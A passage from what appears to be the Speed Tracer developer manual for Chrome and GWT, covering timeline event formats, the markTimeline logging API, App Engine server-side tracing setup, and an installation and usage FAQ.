type: 9, time: <milliseconds since start of the session>, duration: <milliseconds this event took>, children: [<Timeline Event>, ... , <Timeline Event>], data: { url: <String URL requested> }
462 / 469
type: 13, time: <Number milliseconds since start of the session>, data: { identifier: <Integer id>, expectedContentLength: <Integer the size in bytes that the browser expects the resource to be>, mimeType: <The MIME type of the resource>, statusCode: <Integer HTTP response code>, } }
type: 14, time: <Number milliseconds since start of the session>, data: { identifier: <Integer id> didFail: <boolean whether or not the resource request failed> }
463 / 469
type: 16, time: <Number milliseconds since start of the session>, duration: <milliseconds this event took>, data: { identifier: <Integer id> }
type: 18, time: <Number milliseconds since start of the session>, data: { }
464 / 469
6.3.2.
Speed Tracer Events are events synthesized by speed tracer. These events usually indicate some change of state.
type: 0x7FFFFFFE, // MAX SIGNED 32 BIT INTEGER - 1 time: <milliseconds since start of the session>, data:{ url: <String new URL of the monitored tab> }
Fields on a Network Resource Update are present according to the following conditions: if (update.data.didRequestChange == true), then the following fields should exist:
update.data.url update.data.documentURL update.data.host update.data.path update.data.lastPathComponent update.data.requestHeaders update.data.mainResource update.data.requestMethod update.data.requestFormData update.data.cached
if (update.data.didResponseChange == true), then the following fields should exist:.
update.data.type
if (update.data.didLengthChange == true), then the following fields should exist:
update.data.resourceSize
465 / 469
type: 0x7FFFFFFC, // MAX SIGNED 32 BIT INTEGER - 3 time: <Number milliseconds since start of the session>, data: { format: <String type of javascript profile data (e.g. 'v8')>, profileData: <String profile data>, isOrphaned: <Boolean true if it is an orphan, false if it belongs to a timeline event> }
6.4.
Logging API
Correlating application-level user interactions with regions in the graph can be difficult, especially with applications that have a high level of activity. The Speed Tracer Logging API provides a means for you to insert markers throughout your application that will show up on the Speed Tracer timeline. The log messages are captured in the event trace tree and highlighted with an icon, so you can know exactly when the message was logged with respect to the other things going on in the browser. Speed Tracer uses WebKit's console logging API to record the log in the stream of timeline data.
window.console.markTimeline("String");
Invocations of console.markTimeline() show up in timeline's Event Trace, annotated with a little blue info bubble , at the beginning of the highlighted "Log message":
466 / 469
The log message will also be a part of any Speed Traces you save to disk. A saved Speed Trace JSON record looks like the following:
{
6.5.
Speed Tracer lets you view server-side tracing for web applications running on Java App Engine and SpringSource tc Server. This lets you measure performance and timing details of your application on the server.
467 / 469
a. Installing the Event Recorder - Add a filter section, which gathers information about each request. b. Setting Up the Administrative Interface - Add a servlet section, which enables app statistics to be viewed at the URL in step 3 below. 2. Redeploy your application to App Engine or to the App Engine Development Server. 3. To check that you're gathering app statistics, go to http://yourapp.com/appstats. (For example, if your app is at http://stockwatcher.appspot.com then the statistics will be available at http://stockwatcher.appspot.com/appstats.) 4. In preparation for viewing server-side traces, start Chrome with Speed Tracer. 5. In Chrome, navigate to your web application that is running the production instance of App Engine or the Development Server. 6. Start Speed Tracer for your web application. If desired, reload your application to get a trace from loading onward. 7. In Speed Tracer, click on "Network (resources)". Look for items on the left side with the gray serverside trace "pillpox" icon and drill down from there. 8. Expand those items to see details of what happened on the server.
6.6.
FAQ
On this page you will find answers to some Frequently Asked Questions about Speed Tracer. 1. Installation 1. Why do I get the error, 'Invalid value for 'permissions[0]'? 2. Why am I still getting the warning "No data received in 6 seconds. Chrome must be run with the flag..."? 3. I added the --enable-extension-timeline-api flag and now Chrome won't start. 2. Running Speed Tracer 1. Why can't I use the Chrome Devtools Inspector when Speed Tracer is up? 2. I can't open a Speed Tracer dump saved to the local filesystem. 3. I can't profile my GWT applications using the Google Plugin for Eclipse. 4. Why do I see 404 errors when using Speed Tracer to monitor my app? 3. Contributing 1. Is Speed Tracer Open Source?
Installation
Why do I get the error, 'Invalid value for 'permissions[0]'?
First, check to be sure that you are running a version of Chrome that is compatible with Speed Tracer (4.0.249.30 or later 468 / 469
should work for Windows and Linux). You can check the version number under the About menu item. Also make sure you are not trying to install the extension in incognito mode.
Why am I still getting the warning "No data received in 6 seconds. Chrome must be run with the flag..."? I already added the --enable-extension-timeline-api flag.
First, you must be sure your version of Google Chrome is recent enough (version 4.0.249.30 or later should work) Close all instances of Google Chrome before running the shortcut you created. If you are using Microsoft Windows, check your task manager to be sure you dont have a zombie chrome.exe process hanging around. If even one Google Chrome process is still up, it will fork a Google Chrome window from the existing instance of the browser and the new command line option will be ignored.
I added the --enable-extension-timeline-api flag and now Google Chrome won't start.
On Microsoft Windows, if there is a problem in the target field of the shortcut properties, you will get an error dialog with the title "Problem with Shortcut." If the path to Google Chrome is enclosed in double quotes, make sure that the --enableextension-timeline-api flag is outside the quotes similar to the following example:
"C:\Documents and Settings\Default\Local Settings\Application Data\Google\Chrome\Application\chrome.exe" --enable-extension-timeline-api
After performing this action, try reloading the page with your dump file and a button to launch the Speed Tracer monitor window should appear.
I can't profile my GWT applications using the Google Plugin for Eclipse.
The Chrome extension security model may be blocking requests made to the local filesystem. Enable access to file:/// URLs as described above.
Why do I see 404 errors when using Speed Tracer to monitor my app?
Speed Tracer makes some extra network requests for symbol manifests to support resymbolization of stack traces. If you don't have a server running to serve symbol manifests, such as the Google Plugin for Eclipse, these requests will fail. There shouldn't be any other observable impact on your application.
Contributing
Is Speed Tracer Open Source?
Yes. You can find out more on the Speed Tracer project on Google Code.
469 / 469